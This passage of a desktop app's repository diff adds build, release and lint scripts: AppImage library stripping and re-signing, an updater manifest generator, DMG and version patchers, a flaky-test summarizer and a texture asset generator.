([key]) =>
!knownKeys.has(key) &&
!knownKeys.has(`${key}_one`) &&
!knownKeys.has(`${key}_other`),
);
if (missingReferences.length) {
throw new Error(
`Missing translation keys:\n${missingReferences
.map(([key, file]) => `${key} (${file})`)
.join("\n")}`,
);
}
console.log(
`i18n check passed: ${referenceKeys.length} keys, ${references.size} static references`,
);
@@ -0,0 +1,46 @@
import path from "node:path";
import { fileURLToPath } from "node:url";
import { runPubkeyTruncationCheck } from "../../scripts/check-pubkey-truncation-core.mjs";
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const projectRoot = path.resolve(__dirname, "..");
// Truncated pubkey prefixes are forgeable (vanity grinding), so all display
// truncation goes through the canonical `truncatePubkey` / `<PubKey>` — this
// guard keeps ad-hoc `pubkey.slice(0, N)` forms from fragmenting again.
const rules = [
{
root: "src",
extensions: new Set([".ts", ".tsx"]),
},
];
// Non-display uses: array windows over pubkey lists, color/initials
// derivation where the value is never presented as an identity.
const overrides = new Set([
// HexAvatar: 6-char badge + hue derivation inside a color-coded disc,
// clearly decorative (paired with a full truncatePubkey aria-label).
"src/features/huddle/components/ParticipantList.tsx:150",
"src/features/huddle/components/ParticipantList.tsx:151",
// clientId (not a pubkey) sliced in a debug log next to the real thing.
"src/features/channels/readState/readStateManager.ts:338",
// Array windows (first N pubkeys), not string truncation.
"src/features/messages/lib/threadPanel.ts:395",
"src/features/projects/ui/ProjectsView.tsx:166",
"src/features/projects/ui/ProjectsOverviewPanel.tsx:209",
]);
await runPubkeyTruncationCheck({
projectRoot,
rules,
overrides,
allowedFiles: new Set([
// The canonical helper itself.
"src/shared/lib/pubkey.ts",
// E2E mock bridge fabricates ids/nsecs from pubkeys; nothing here is a
// user-facing identity display.
"src/testing/e2eBridge.ts",
]),
label: "Desktop",
scriptPath: "desktop/scripts/check-pubkey-truncation.mjs",
});
+39
View File
@@ -0,0 +1,39 @@
import path from "node:path";
import { fileURLToPath } from "node:url";
import { runPxTextCheck } from "../../scripts/check-px-text-core.mjs";
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const projectRoot = path.resolve(__dirname, "..");
// Enforces the rem-token text scale app-wide. The rem→px zoom regression
// (PR #891) landed in the message-timeline render path, but arbitrary text
// literals (`text-[…px]`, `text-[…rem]`) had drifted across the whole desktop
// app — so the guard now scans all of `src`. Readable text MUST use a rem-based
// token (the stock `text-base`/`text-sm`/`text-xs` scale, or the `text-2xs` /
// `text-3xs` meta-text tokens) so Cmd +/- zoom scales it and the size stays on
// one consolidated scale. Genuine decorative glyphs are allowlisted below.
const rules = [
{
root: "src",
extensions: new Set([".ts", ".tsx", ".css"]),
},
];
// Decorative / chrome exceptions: `relativePath:matchedLiteral`. The avatar
// emoji glyphs are fixed display sizes sized to their avatar box (not readable
// message text), so they are exempted from the readable-text px rule. Matching
// the literal keeps these exceptions stable when unrelated edits move lines.
const overrides = new Set([
"src/features/settings/ui/ProfileSettingsCard.tsx:text-[6rem]",
"src/features/onboarding/ui/AvatarStep.tsx:text-[6rem]",
"src/features/agents/ui/AgentCreationPreview.tsx:text-[4rem]",
"src/features/agents/ui/AgentCreationPreview.tsx:text-[6rem]",
]);
await runPxTextCheck({
projectRoot,
rules,
overrides,
label: "Desktop",
scriptPath: "desktop/scripts/check-px-text.mjs",
});
+208
View File
@@ -0,0 +1,208 @@
#!/usr/bin/env bash
# fix-appimage.sh — Remove infra libs from a Tauri-produced AppImage that crash
# on Mesa 25+ / GLib 2.88 distros (Ubuntu 26.04, Fedora 42+, etc.).
#
# Usage: fix-appimage.sh <path-to.AppImage>
#
# Set TAURI_SIGNING_PRIVATE_KEY / TAURI_SIGNING_PRIVATE_KEY_PASSWORD to
# re-sign after repacking (CI release builds). Without them the script
# repacks but skips signing, which is fine for local testing.
#
# Set APPIMAGETOOL_RUNTIME_FILE to a pre-downloaded AppImage type2 runtime to
# avoid appimagetool fetching one from its mutable `continuous` tag (CI pins
# this; unset is fine for local testing).
#
# Root cause — three interlocking failures (upstream: https://github.com/tauri-apps/tauri/issues/15665):
#
# 1. EGL crash: linuxdeploy bundles libwayland-client.so.0 (1.22) alongside
# the app. Mesa 25's libEGL calls the bundled version at runtime; the version
# skew causes eglGetDisplay to return EGL_BAD_PARAMETER under Wayland, which
# WebKitWebProcess treats as fatal and aborts before the window ever appears.
#
# 2. GStreamer crash: linuxdeploy's compiled AppRun.wrapped force-sets
# GST_PLUGIN_SYSTEM_PATH_1_0 to $APPDIR/usr/lib/gstreamer-1.0 -- a dir the
# bundler never populates (bundleMediaFramework is off, and we strip the
# bundled libgst* core below to use the host's). Crucially, once that variable
# is set it *replaces* GStreamer's compiled-in default search path rather than
# adding to it, so the app finds ZERO plugins on every distro:
# "GStreamer element appsink not found" kills the WebKitWebProcess and the
# window never paints. An earlier revision of this script hid the failure on
# Debian only by symlinking usr/lib/gstreamer-1.0 to the Debian multiarch dir
# (/usr/lib/x86_64-linux-gnu/gstreamer-1.0); that symlink dangles on Arch and
# Fedora, and the "safe fallback to default discovery" it assumed does not
# exist -- a set GST_PLUGIN_SYSTEM_PATH_1_0 disables the default. A broken run
# also poisons ~/.cache/gstreamer-1.0/registry.x86_64.bin.
#
# 3. WebKit helper mismatch (latent): the bundled WebKit helpers
# (WebKitNetworkProcess/WebKitWebProcess) have RUNPATH=$ORIGIN only, and
# linuxdeploy string-patches /usr -> ././ inside libwebkit2gtk so the helper
# dir is resolved relative to the process cwd. AppRun's chdir($APPDIR/usr)
# makes this work; any launch that bypasses AppRun (extracted-AppDir usage,
# repack workflows, dbus/systemd activation with cwd=/) resolves the helpers
# wrong -- spawning nothing, dying on unresolved bundled libs, or spawning
# the system helpers -- and the window never appears.
#
# Fix: (a) remove the offending libs so the app uses the system copies (newer and
# ABI-compatible on any distro shipping glib >= 2.72 / Ubuntu 22.04+), and
# (b) install a launcher shim in front of the app binary that strips the
# bundle-pointing GST_PLUGIN_* overrides AppRun.wrapped injects, letting the host
# GStreamer resolve plugins via its own default path (correct on Debian, Arch, and
# Fedora alike). The shim has to run *after* AppRun.wrapped: the wrapper rewrites
# the variable last -- after every apprun-hook -- so any value set before it is
# discarded (verified empirically; a runtime GST_PLUGIN_SYSTEM_PATH_1_0 passed
# into the AppImage does not survive). No tauri.conf.json knob can do this --
# bundle.linux.appimage only exposes bundleMediaFramework, files (copy-only, no
# remove/symlink), and bundleXdgOpen.
set -euo pipefail
if [[ $# -lt 1 ]]; then
echo "Usage: fix-appimage.sh <path-to.AppImage>" >&2
exit 1
fi
if [[ ! -f "$1" ]]; then
echo "Error: file not found: $1" >&2
exit 1
fi
APPIMAGE_ABS="$(realpath "$1")"
APPIMAGE_DIR="$(dirname "$APPIMAGE_ABS")"
APPIMAGE_NAME="$(basename "$APPIMAGE_ABS")"
# Locate the desktop/ directory (this script lives at desktop/scripts/).
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
DESKTOP_DIR="$(cd "$SCRIPT_DIR/.." && pwd)"
WORKDIR="$(mktemp -d)"
trap 'rm -rf "$WORKDIR"' EXIT
echo "==> Extracting $APPIMAGE_NAME"
(cd "$WORKDIR" && APPIMAGE_EXTRACT_AND_RUN=1 "$APPIMAGE_ABS" --appimage-extract)
LIBDIR="$WORKDIR/squashfs-root/usr/lib"
# Guard against a bundler layout change: if the primary offending lib is not
# where we expect it, the rm globs below would silently no-op and we'd ship
# an unfixed artifact. Fail loudly instead so a tauri/linuxdeploy upgrade
# that changes the bundled lib set gets noticed here, not by users.
if ! compgen -G "$LIBDIR/libwayland-client.so*" > /dev/null; then
echo "Error: libwayland-client not found in $LIBDIR — bundler layout changed; update fix-appimage.sh" >&2
exit 1
fi
echo "==> Removing infra libs that conflict with system Mesa / GLib / GStreamer / systemd"
rm -f \
"$LIBDIR"/libwayland-client.so* \
"$LIBDIR"/libwayland-cursor.so* \
"$LIBDIR"/libwayland-egl.so* \
"$LIBDIR"/libwayland-server.so* \
"$LIBDIR"/libglib-2.0.so* \
"$LIBDIR"/libgio-2.0.so* \
"$LIBDIR"/libgobject-2.0.so* \
"$LIBDIR"/libgmodule-2.0.so* \
"$LIBDIR"/libmount.so* \
"$LIBDIR"/libblkid.so* \
"$LIBDIR"/libselinux.so* \
"$LIBDIR"/libsystemd.so* \
"$LIBDIR"/libpcre2-8.so* \
"$LIBDIR"/libgst*.so* \
"$LIBDIR"/libzstd.so* \
"$LIBDIR"/libelf.so* \
"$LIBDIR"/libffi.so*
echo "==> Installing GStreamer launcher shim on the app binary"
# AppRun.wrapped force-sets GST_PLUGIN_SYSTEM_PATH_1_0 (and the 0.10-era
# GST_PLUGIN_SYSTEM_PATH) to $APPDIR/usr/lib/gstreamer-1.0 — a dir we bundle no
# plugins into. Because a set path *replaces* GStreamer's default instead of
# extending it, the app finds zero plugins on any distro and WebKit aborts. The
# wrapper rewrites the variable after every apprun-hook, so the only place to undo
# it is a shim between AppRun.wrapped and the real binary. First confirm the
# wrapper still injects the override; if a tauri/linuxdeploy bump drops it, the
# shim becomes a harmless no-op, but we want a human to re-verify rather than
# silently ship — so fail loudly (mirrors the libwayland guard above).
APPRUN_WRAPPED="$WORKDIR/squashfs-root/AppRun.wrapped"
if ! grep -aq "GST_PLUGIN_SYSTEM_PATH_1_0" "$APPRUN_WRAPPED"; then
echo "Error: AppRun.wrapped is missing or no longer references GST_PLUGIN_SYSTEM_PATH_1_0 — GStreamer path injection changed; re-verify fix-appimage.sh" >&2
exit 1
fi
APP_BIN="$WORKDIR/squashfs-root/usr/bin/buzz-desktop"
if [[ ! -f "$APP_BIN" ]]; then
echo "Error: app binary usr/bin/buzz-desktop not found — bundler layout changed; update fix-appimage.sh" >&2
exit 1
fi
if [[ -e "$APP_BIN.bin" ]]; then
echo "Error: usr/bin/buzz-desktop.bin already exists — shim already installed?" >&2
exit 1
fi
# The real binary moves aside; buzz-desktop becomes a shim AppRun.wrapped execs.
mv "$APP_BIN" "$APP_BIN.bin"
cat > "$APP_BIN" <<'SHIM'
#!/usr/bin/env bash
# GStreamer shim installed by desktop/scripts/fix-appimage.sh.
#
# linuxdeploy's AppRun.wrapped force-sets GST_PLUGIN_SYSTEM_PATH_1_0 to an empty
# in-bundle dir ($APPDIR/usr/lib/gstreamer-1.0). A set path *replaces* the host's
# default GStreamer search path, so the app finds zero plugins and WebKit aborts
# (blank window). Drop the bundle-pointing GST_PLUGIN_* overrides so the system
# GStreamer — which we use, having removed the bundled core libs — resolves
# plugins via its own default path on any distro. Values that don't point into
# this AppImage are the user's own and are preserved.
here="$(dirname "$(readlink -f "$0")")"
appdir="$(readlink -f "$here/../..")"
for var in GST_PLUGIN_SYSTEM_PATH_1_0 GST_PLUGIN_SYSTEM_PATH \
GST_PLUGIN_PATH_1_0 GST_PLUGIN_PATH \
GST_PLUGIN_SCANNER GST_PLUGIN_SCANNER_1_0; do
val="${!var-}"
if [[ -n "$val" && "$val" == *"$appdir/"* ]]; then
unset "$var"
fi
done
exec -a "buzz-desktop" "$here/buzz-desktop.bin" "$@"
SHIM
chmod +x "$APP_BIN"
echo "==> Repacking AppImage"
# Pass a pinned type2 runtime when provided (CI sets APPIMAGETOOL_RUNTIME_FILE);
# without it appimagetool downloads the runtime from its mutable `continuous`
# tag at repack time — acceptable for local testing, not for release builds.
RUNTIME_ARGS=()
if [[ -n "${APPIMAGETOOL_RUNTIME_FILE:-}" ]]; then
RUNTIME_ARGS=(--runtime-file "$APPIMAGETOOL_RUNTIME_FILE")
fi
APPIMAGE_EXTRACT_AND_RUN=1 ARCH="$(uname -m)" appimagetool \
"${RUNTIME_ARGS[@]}" \
"$WORKDIR/squashfs-root" "$APPIMAGE_ABS"
# Re-sign after repack so the updater can verify the artifact.
# Tauri 2.11 with createUpdaterArtifacts=true produces two possible formats:
# New: <name>.AppImage + <name>.AppImage.sig (sign the AppImage directly)
# Old: <name>.AppImage.tar.gz + .tar.gz.sig (tar-wrapped, then signed)
# We handle both: always re-sign the AppImage; if a .tar.gz sibling exists
# alongside it, recreate it from the freshly repacked AppImage and re-sign that.
# Our release config pins createUpdaterArtifacts: true (build-release-config.mjs),
# so the tar.gz branch is dead in CI today — kept deliberately because the
# workflow's artifact-locate step prefers a tar.gz when one exists; dropping
# this branch could publish a stale tarball containing the unfixed AppImage.
if [[ -n "${TAURI_SIGNING_PRIVATE_KEY:-}" ]]; then
# `tauri signer sign` reads TAURI_SIGNING_PRIVATE_KEY and
# TAURI_SIGNING_PRIVATE_KEY_PASSWORD from the environment (same as the
# macOS jobs in release.yml) — never pass the password via argv, where
# it would be visible in /proc/<pid>/cmdline.
echo "==> Re-signing AppImage"
(cd "$DESKTOP_DIR" && pnpm tauri signer sign "$APPIMAGE_ABS")
TARBALL="$APPIMAGE_ABS.tar.gz"
if [[ -f "$TARBALL" ]]; then
echo "==> Recreating updater archive $TARBALL"
tar -czf "$TARBALL" -C "$APPIMAGE_DIR" "$APPIMAGE_NAME"
echo "==> Re-signing updater archive"
(cd "$DESKTOP_DIR" && pnpm tauri signer sign "$TARBALL")
fi
else
echo "==> TAURI_SIGNING_PRIVATE_KEY not set — skipping signing (local build)"
fi
echo "==> Done: $APPIMAGE_ABS"
@@ -0,0 +1,44 @@
#!/usr/bin/env bash
set -euo pipefail
if [[ $# -lt 2 ]]; then
echo "Usage: generate-oss-latest-json.sh <version> <platform-key:sig-file:archive-url>..." >&2
echo " e.g. generate-oss-latest-json.sh 1.2.3 \\" >&2
echo " darwin-aarch64:/path/to/app.sig:https://example.com/app.tar.gz \\" >&2
echo " windows-x86_64:/path/to/setup.sig:https://example.com/setup.exe" >&2
exit 1
fi
VERSION="$1"
shift
# Build the jq `platforms` object from N triples. Each triple is
# `platform-key:sig-file:archive-url`; archive URLs contain colons, so split
# only on the first two so the URL stays intact.
platform_args=()
platforms_obj="{}"
i=0
for triple in "$@"; do
key="${triple%%:*}"
rest="${triple#*:}"
sig_file="${rest%%:*}"
url="${rest#*:}"
if [[ "$key" == "$triple" || "$sig_file" == "$rest" || -z "$key" || -z "$sig_file" || -z "$url" ]]; then
echo "Error: malformed triple '$triple' (expected platform-key:sig-file:archive-url)" >&2
exit 1
fi
sig_arg="sig$i"
url_arg="url$i"
platform_args+=(--arg "$sig_arg" "$(cat "$sig_file")" --arg "$url_arg" "$url")
# Splice each platform into the accumulating object so no platform is hardcoded.
platforms_obj="$platforms_obj + { \"$key\": { signature: \$$sig_arg, url: \$$url_arg } }"
i=$((i + 1))
done
jq -n \
--arg version "$VERSION" \
--arg notes "Buzz v$VERSION" \
--arg pub_date "$(date -u +%Y-%m-%dT%H:%M:%SZ)" \
"${platform_args[@]}" \
"{ version: \$version, notes: \$notes, pub_date: \$pub_date, platforms: ($platforms_obj) }"
@@ -0,0 +1,150 @@
// Generates a waveform SVG next to each mp3 in the given directory, for the
// notification sound picker (SoundPicker.tsx renders them via CSS mask).
// Requires ffmpeg on PATH.
//
// node scripts/generate-sound-waveforms.mjs public/sounds
import { execFileSync } from "node:child_process";
import { readFileSync, writeFileSync, readdirSync } from "node:fs";
import { join, basename } from "node:path";
import { tmpdir } from "node:os";
const SOUNDS_DIR = process.argv[2];
if (!SOUNDS_DIR) {
console.error("usage: node generate-sound-waveforms.mjs <sounds-dir>");
process.exit(1);
}
const BARS = 24;
const WIDTH = 200;
const HEIGHT = 80;
const BAR_WIDTH = 5;
const MAX_BAR = 76; // tallest bar, leaves vertical breathing room
const MIN_BAR = 4; // floor so quiet buckets render a short capsule
const GAMMA = 1.6; // contrast curve: deepens valleys, keeps peaks tall
const DETAIL_GAIN = 1.8; // unsharp mask on bar levels: amplifies each bar's deviation from its neighborhood so peaks push higher and valleys dip lower
const TAIL_FLOOR = 0.1; // windows quieter than this fraction of the loudest window are trimmed
const mp3s = readdirSync(SOUNDS_DIR)
.filter((f) => f.endsWith(".mp3"))
.sort();
for (const mp3 of mp3s) {
const name = basename(mp3, ".mp3");
const raw = join(tmpdir(), `${name}.s16le`);
execFileSync("ffmpeg", [
"-y",
"-v",
"error",
"-i",
join(SOUNDS_DIR, mp3),
"-ac",
"1",
"-f",
"s16le",
"-acodec",
"pcm_s16le",
raw,
]);
const buf = readFileSync(raw);
const samples = new Int16Array(
buf.buffer,
buf.byteOffset,
buf.byteLength / 2,
);
// File peak for normalization + silence threshold.
let filePeak = 1;
for (const s of samples) {
const a = Math.abs(s);
if (a > filePeak) filePeak = a;
}
// Trim by windowed RMS energy rather than single-sample threshold —
// notification sounds carry long reverb tails that read as dead space.
// Keep the region holding the audible body (windows above TAIL_FLOOR of
// the loudest window), so the shape spans the full bar count.
const WINDOW = 1024;
const windowCount = Math.ceil(samples.length / WINDOW);
const windowRms = new Array(windowCount).fill(0);
for (let w = 0; w < windowCount; w++) {
const from = w * WINDOW;
const to = Math.min(samples.length, from + WINDOW);
let sumSquares = 0;
for (let j = from; j < to; j++) sumSquares += samples[j] * samples[j];
windowRms[w] = Math.sqrt(sumSquares / Math.max(1, to - from));
}
const maxWindowRms = Math.max(...windowRms, 1);
const tailThreshold = maxWindowRms * TAIL_FLOOR;
let firstWindow = 0;
while (
firstWindow < windowCount - 1 &&
windowRms[firstWindow] < tailThreshold
)
firstWindow++;
let lastWindow = windowCount - 1;
while (lastWindow > firstWindow && windowRms[lastWindow] < tailThreshold)
lastWindow--;
const trimmed = samples.subarray(
firstWindow * WINDOW,
Math.min(samples.length, (lastWindow + 1) * WINDOW),
);
// Sample a narrow window centered in each bar's bucket instead of
// max-pooling the whole bucket — max-pooling erases amplitude modulation
// (beats, double hits), which is what makes the shapes distinct. Then a
// gamma curve to stretch the range.
const peaks = new Array(BARS).fill(0);
const bucketSize = Math.max(1, Math.floor(trimmed.length / BARS));
const window = Math.max(64, Math.floor(bucketSize / 4));
for (let i = 0; i < BARS; i++) {
const center = i * bucketSize + Math.floor(bucketSize / 2);
const from = Math.max(0, center - Math.floor(window / 2));
const to = Math.min(trimmed.length, from + window);
let peak = 0;
for (let j = from; j < to; j++) {
const a = Math.abs(trimmed[j]);
if (a > peak) peak = a;
}
peaks[i] = peak;
}
const maxLevel = Math.max(...peaks, 1);
for (let i = 0; i < BARS; i++) {
peaks[i] = (peaks[i] / maxLevel) ** GAMMA;
}
// Local-contrast pass: push each bar away from the average of its
// neighbors, then renormalize so the tallest bar still hits MAX_BAR.
const sharpened = peaks.map((p, i) => {
let sum = 0;
let count = 0;
for (let j = Math.max(0, i - 2); j <= Math.min(BARS - 1, i + 2); j++) {
sum += peaks[j];
count++;
}
const local = sum / count;
return Math.max(0, p + DETAIL_GAIN * (p - local));
});
const maxSharpened = Math.max(...sharpened, 0.001);
for (let i = 0; i < BARS; i++) {
peaks[i] = Math.min(1, sharpened[i] / maxSharpened);
}
const step = WIDTH / BARS;
const bars = peaks
.map((p, i) => {
const h = Math.max(MIN_BAR, p * MAX_BAR);
const x = (i * step + (step - BAR_WIDTH) / 2).toFixed(2);
const y = ((HEIGHT - h) / 2).toFixed(2);
return `<rect x="${x}" y="${y}" width="${BAR_WIDTH}" height="${h.toFixed(2)}" rx="${(BAR_WIDTH / 2).toFixed(2)}"/>`;
})
.join("");
const svg = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 ${WIDTH} ${HEIGHT}" fill="currentColor" aria-hidden="true">${bars}</svg>\n`;
writeFileSync(join(SOUNDS_DIR, `${name}.svg`), svg);
const seconds = (trimmed.length / 44100).toFixed(2);
console.log(
`${name}.svg (${seconds}s audible, peak ${(filePeak / 32768).toFixed(2)})`,
);
}
@@ -0,0 +1,82 @@
#!/usr/bin/env bash
# Patch Finder icon-label text size in a Tauri-generated DMG.
#
# Tauri's DMG config supports the background/layout fields we use, but it does
# not expose create-dmg's text-size option. Run this before DMG signing or
# notarization; mutating a signed DMG would invalidate the signature.
set -euo pipefail
if [[ $# -lt 1 || $# -gt 2 ]]; then
echo "Usage: $0 <path-to-dmg> [text-size]" >&2
exit 2
fi
DMG_PATH="$1"
TEXT_SIZE="${2:-14}"
[[ -f "$DMG_PATH" ]] || { echo "Missing DMG: $DMG_PATH" >&2; exit 1; }
WORK_DIR="$(mktemp -d -t buzz-dmg-text-size)"
MOUNT_POINT="$WORK_DIR/mount"
RW_DMG="$WORK_DIR/work.dmg"
OUT_DMG="$WORK_DIR/output.dmg"
MOUNTED="false"
cleanup() {
if [[ "$MOUNTED" == "true" ]]; then
hdiutil detach "$MOUNT_POINT" >/dev/null 2>&1 || true
fi
rm -rf "$WORK_DIR"
}
trap cleanup EXIT
mkdir -p "$MOUNT_POINT"
hdiutil convert "$DMG_PATH" -format UDRW -o "$RW_DMG" -ov >/dev/null
hdiutil attach "$RW_DMG" -nobrowse -readwrite -noverify -mountpoint "$MOUNT_POINT" >/dev/null
MOUNTED="true"
node - "$MOUNT_POINT/.DS_Store" "$TEXT_SIZE" <<'NODE'
const fs = require("node:fs");
const dsStorePath = process.argv[2];
const textSize = Number(process.argv[3]);
if (!Number.isFinite(textSize)) {
throw new Error(`Invalid DMG Finder text size: ${process.argv[3]}`);
}
const data = fs.readFileSync(dsStorePath);
if (!data.includes(Buffer.from("textSize"))) {
throw new Error(`${dsStorePath} does not contain Finder textSize metadata`);
}
const current = Buffer.alloc(8);
current.writeDoubleBE(16.0, 0);
const replacement = Buffer.alloc(8);
replacement.writeDoubleBE(textSize, 0);
const positions = [];
let offset = 0;
while ((offset = data.indexOf(current, offset)) !== -1) {
positions.push(offset);
offset += 1;
}
if (positions.length !== 1) {
throw new Error(
`Expected one Finder textSize value in ${dsStorePath}, found ${positions.length}`,
);
}
replacement.copy(data, positions[0]);
fs.writeFileSync(dsStorePath, data);
console.log(`Set DMG Finder textSize to ${textSize}`);
NODE
sync
hdiutil detach "$MOUNT_POINT" >/dev/null
MOUNTED="false"
hdiutil convert "$RW_DMG" -format UDZO -imagekey zlib-level=9 -o "$OUT_DMG" -ov >/dev/null
mv "$OUT_DMG" "$DMG_PATH"
+38
View File
@@ -0,0 +1,38 @@
import { readFileSync, writeFileSync } from "node:fs";
import { resolve } from "node:path";
const version = process.argv[2];
if (!version) {
console.error("Usage: node scripts/set-version-from-tag.mjs <version>");
process.exit(1);
}
if (!/^\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?$/.test(version)) {
console.error(
`Invalid version "${version}". Expected semver format (e.g. 1.2.3 or 1.2.3-beta.1)`,
);
process.exit(1);
}
const packageJsonPath = resolve(process.cwd(), "package.json");
const tauriConfigPath = resolve(process.cwd(), "src-tauri/tauri.conf.json");
const cargoTomlPath = resolve(process.cwd(), "src-tauri/Cargo.toml");
const packageJson = JSON.parse(readFileSync(packageJsonPath, "utf8"));
packageJson.version = version;
writeFileSync(packageJsonPath, `${JSON.stringify(packageJson, null, 2)}\n`);
console.log(`Set package.json to ${version}`);
const tauriConfig = JSON.parse(readFileSync(tauriConfigPath, "utf8"));
tauriConfig.version = version;
writeFileSync(tauriConfigPath, `${JSON.stringify(tauriConfig, null, 2)}\n`);
console.log(`Set tauri.conf.json to ${version}`);
const cargoToml = readFileSync(cargoTomlPath, "utf8");
const updatedCargoToml = cargoToml.replace(
/^version = ".*"$/m,
`version = "${version}"`,
);
writeFileSync(cargoTomlPath, updatedCargoToml);
console.log(`Set Cargo.toml to ${version}`);
+71
View File
@@ -0,0 +1,71 @@
import { appendFile, readFile } from "node:fs/promises";
// Playwright's `retries: 2` (desktop/playwright.config.ts) lets a test fail
// then pass on retry with no durable signal beyond a one-line "N flaky" in
// the console log — the exact gap that hid the stream.spec.ts membership
// race (#1798) for months. This walks the JSON reporter's suite tree
// (recursive: `describe` blocks nest as child `suites`) and appends any
// `status === "flaky"` test to the job's GitHub Actions summary so retried
// failures stay visible even when the shard ultimately goes green.
//
// Usage: node scripts/summarize-flaky-tests.mjs <report.json> <run-label>
function collectFlakyTests(suite, out) {
for (const spec of suite.specs ?? []) {
for (const test of spec.tests ?? []) {
if (test.status !== "flaky") continue;
out.push({
title: `${suite.file} ${spec.title}`,
project: test.projectName,
attempts: test.results?.length ?? 0,
});
}
}
for (const child of suite.suites ?? []) {
collectFlakyTests(child, out);
}
}
const [reportPath, runLabel] = process.argv.slice(2);
if (!reportPath || !runLabel) {
console.error(
"Usage: node scripts/summarize-flaky-tests.mjs <report.json> <run-label>",
);
process.exit(1);
}
// This step runs `if: !cancelled()` purely to surface flaky tests — it must
// never fail the job on its own, so a malformed/unexpected report (from a
// Playwright version bump or a crashed run) is swallowed, not thrown.
try {
const report = JSON.parse(await readFile(reportPath, "utf8"));
const flaky = [];
for (const suite of report.suites ?? []) {
collectFlakyTests(suite, flaky);
}
if (flaky.length > 0) {
const escapeCell = (value) => String(value).replaceAll("|", "\\|");
const rows = flaky
.map(
(t) =>
`| ${escapeCell(t.title)} | ${escapeCell(t.project)} | ${t.attempts} |`,
)
.join("\n");
const summary =
`### Flaky tests — ${runLabel}\n\n` +
`${flaky.length} test(s) failed at least once before passing on retry:\n\n` +
"| Test | Project | Attempts |\n| --- | --- | --- |\n" +
`${rows}\n`;
console.log(summary);
const summaryFile = process.env.GITHUB_STEP_SUMMARY;
if (summaryFile) {
await appendFile(summaryFile, `${summary}\n`);
}
}
} catch (error) {
console.log(`Skipping flaky-test summary: ${error.message}`);
}
+34
View File
@@ -0,0 +1,34 @@
# Textured Card asset
`Card variant="textured"` renders a cheap CSS nine-slice PNG at runtime. This
folder preserves the procedural SVG recipe used to generate that asset.
## Regenerate
From `desktop/`:
```bash
pnpm exec node scripts/texture-card/generate-card-texture.mjs
```
This overwrites:
```text
src/shared/ui/assets/card-texture.png
```
The generator renders the archived SVG filter in headless Chromium at 2× DPR,
then captures a transparent PNG. It is a development tool only and is not
included in the production bundle.
After changing texture parameters:
1. Regenerate the asset.
2. Compare the onboarding private-key card at its normal size.
3. Check a tall/narrow textured Card and the smallest supported shape.
4. Check both Retina and standard-density displays.
5. Update the slice/outset values in `card-texture.css` only if the generated
geometry changed.
The runtime component API remains `Card variant="textured"`; feature code owns
padding, dimensions, typography, and placement.
@@ -0,0 +1,127 @@
#!/usr/bin/env node
/**
* Generates the baked nine-slice texture used by Card variant="textured".
*
* This file is the source of truth for the procedural visual. It deliberately
* lives outside runtime code: edit the parameters below, run this script, then
* visually compare the generated asset before committing it.
*/
import { chromium } from "@playwright/test";
import { mkdir } from "node:fs/promises";
import path from "node:path";
import { fileURLToPath } from "node:url";
const HERE = path.dirname(fileURLToPath(import.meta.url));
const OUTPUT_DIRECTORY = path.resolve(HERE, "../../src/shared/ui/assets");
const DPR = 2;
// Approved texture parameters, archived from the former runtime SVG filter.
const THRESHOLD_BIAS = 0.302;
const SLOPE = 8;
const FREQUENCY = 0.999;
const OCTAVES = 3;
const SEED = 5315;
const TEXTURES = [
{
filename: "card-texture.png",
color: "white",
cardSize: 640,
outset: 96,
blur: 66,
innerBand: 112,
},
{
filename: "card-texture-dark.png",
color: "#171b21",
cardSize: 640,
outset: 96,
blur: 66,
innerBand: 112,
},
{
filename: "card-texture-compact.png",
color: "white",
cardSize: 320,
outset: 24,
blur: 24,
innerBand: 44,
},
{
filename: "card-texture-dark-compact.png",
color: "#171b21",
cardSize: 320,
outset: 24,
blur: 24,
innerBand: 44,
},
];
await mkdir(OUTPUT_DIRECTORY, { recursive: true });
const browser = await chromium.launch();
try {
for (const texture of TEXTURES) {
const captureSize = texture.cardSize + texture.outset * 2;
const dilate = Math.round(texture.blur * 0.85);
const output = path.join(OUTPUT_DIRECTORY, texture.filename);
const page = await browser.newPage({
deviceScaleFactor: DPR,
viewport: { height: captureSize, width: captureSize },
});
await page.setContent(`<!doctype html>
<style>
html, body { margin: 0; width: 100%; height: 100%; background: transparent; }
#stage { position: relative; width: ${captureSize}px; height: ${captureSize}px; }
#core {
position: absolute;
inset: ${texture.outset + texture.blur / 2}px;
background: ${texture.color};
filter: blur(${texture.blur / 3}px);
}
</style>
<div id="stage">
<svg width="${captureSize}" height="${captureSize}" aria-hidden="true">
<defs>
<filter id="texture" x="0" y="0" width="100%" height="100%"
filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
<feMorphology in="SourceAlpha" operator="dilate" radius="${dilate}" result="squared" />
<feGaussianBlur in="squared" stdDeviation="${texture.blur}" result="ramp" />
<feTurbulence type="fractalNoise" baseFrequency="${FREQUENCY}"
numOctaves="${OCTAVES}" seed="${SEED}" result="grain" />
<feColorMatrix in="grain" result="grainAlpha" type="matrix"
values="0 0 0 0 0
0 0 0 0 0
0 0 0 0 0
1 0 0 0 0" />
<feComposite in="ramp" in2="grainAlpha" operator="arithmetic"
k1="0" k2="1" k3="-1" k4="${-THRESHOLD_BIAS}" result="dithered" />
<feComponentTransfer in="dithered" result="specks">
<feFuncA type="linear" slope="${SLOPE}" intercept="0" />
</feComponentTransfer>
<feFlood flood-color="${texture.color}" result="surfaceColor" />
<feComposite in="surfaceColor" in2="specks" operator="in" />
</filter>
</defs>
<rect x="${texture.outset}" y="${texture.outset}" width="${texture.cardSize}" height="${texture.cardSize}"
fill="${texture.color}" filter="url(#texture)" />
</svg>
<span id="core"></span>
</div>`);
await page.locator("#stage").screenshot({
omitBackground: true,
path: output,
});
await page.close();
console.log(`Generated ${output}`);
console.log(`Asset: ${captureSize * DPR}×${captureSize * DPR}px @${DPR}x`);
console.log(
`Runtime slice: ${(texture.outset + texture.innerBand) * DPR}px; outset: ${texture.outset}px`,
);
}
} finally {
await browser.close();
}
@@ -0,0 +1,44 @@
#!/usr/bin/env bash
# Fail a macOS release if the signing service dropped Buzz's entitlements.
set -euo pipefail
if [[ $# -ne 1 ]]; then
echo "Usage: $0 <path-to-Buzz.app>" >&2
exit 2
fi
APP_PATH="$1"
INFO_PLIST="$APP_PATH/Contents/Info.plist"
